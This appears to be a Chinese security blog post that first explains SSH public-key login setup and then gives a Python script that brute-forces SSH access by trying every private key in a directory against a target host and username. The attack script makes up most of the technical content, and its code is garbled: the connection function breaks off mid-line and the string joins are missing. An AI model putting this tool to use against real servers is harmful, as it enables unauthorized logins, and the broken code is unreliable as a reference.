![图片[1]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/1-148.png)
清晨就是奋斗的开始,夜晚是英雄的落幕
密钥登录的原理是:利用密钥生成器制作一对密钥:公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。如果没有私钥,即使通过SSH 暴力破解出密码也无法远程登录系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。
第一步产生秘钥:
![图片[2]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/2-15.png)
将公钥复制在服务器上边通过scp命令
![图片[3]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/3-15.png)
这样子传上去文件会在/home/username这个目录下,我们需要复制他到.ssh目录下,并且进行重新命名为authorized_keys最后就可以连接了
![图片[4]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/4-11.png)
秘钥验证无口令破解:
[sourcecode language=”plain”]
import pexpect
import os
import optparse
import threading
maxConnections=5
connection_lock=threading.BoundedSemaphore(value=maxConnections)#设置一个信号量
STOP=False
Fails=0
def connect(username,host,keyfile,release):#进行连接测试的函数
global STOP#如果找到的话就停止
global Fails#测试被目标服务器拒绝的次数,如果次数多的话就结束程序
try:
perm_denied=’Permission denied’
ssh_newkey=’Are you sure you want to continue’
conn_closed=’Connection closed by remote host’
opt=’ -o PasswordAuthentication=no’
connStr=’ssh ‘ username ‘@’ host ‘ -i ‘ keyfile
child=pexpect.spawn(connStr)
ret=child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,’#’,’
def main():
parser=optparse.OptionParser(‘usage:%prog -H tgtHost -u username -k keyfiledir’)
parser.add_option(‘-H’,dest=’tgtHost’,type=’string’,help=’specify the host’)
parser.add_option(‘-u’,dest=’username’,type=’string’,help=’specify the username’)
parser.add_option(‘-k’,dest=’keydir’,type=’string’,help=’specify the keydir’)
(options,args)=parser.parse_args()#分离参数
tgtHost=options.tgtHost
username=options.username
keydir=options.keydir
if username==None or tgtHost==None or keydir==None:
print parser.usage
exit(0)
for filename in os.listdir(keydir):#群举文件,os.listdir会列出文件中的所有文件名
if STOP:
print ‘keyfind !’
exit(0)
if Fails>5:
print ‘remoted computer mybe have ips’
exit(0)
connection_lock.acquire()#申请信号量,保证同时开启的线程不会太多
#fullname=keydir ‘/’ filename
fullname=os.path.join(keydir,filename)
print ‘Testing file’ fullname
t=threading.Thread(target=connect,args=(username,tgtHost,fullname,True))
t.start()
if __name__==’__main__’:
main()
[/sourcecode]
测试结果如下:
![图片[5]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/5-8.png)
![图片[6]-SSH秘钥登录与Python无口令破解 - 华盟网](https://www.77169.net/wp-content/uploads/2018/03/6-8.png)
*文章为华盟网原创文章,如若转载请注明出处:华盟网*












暂无评论内容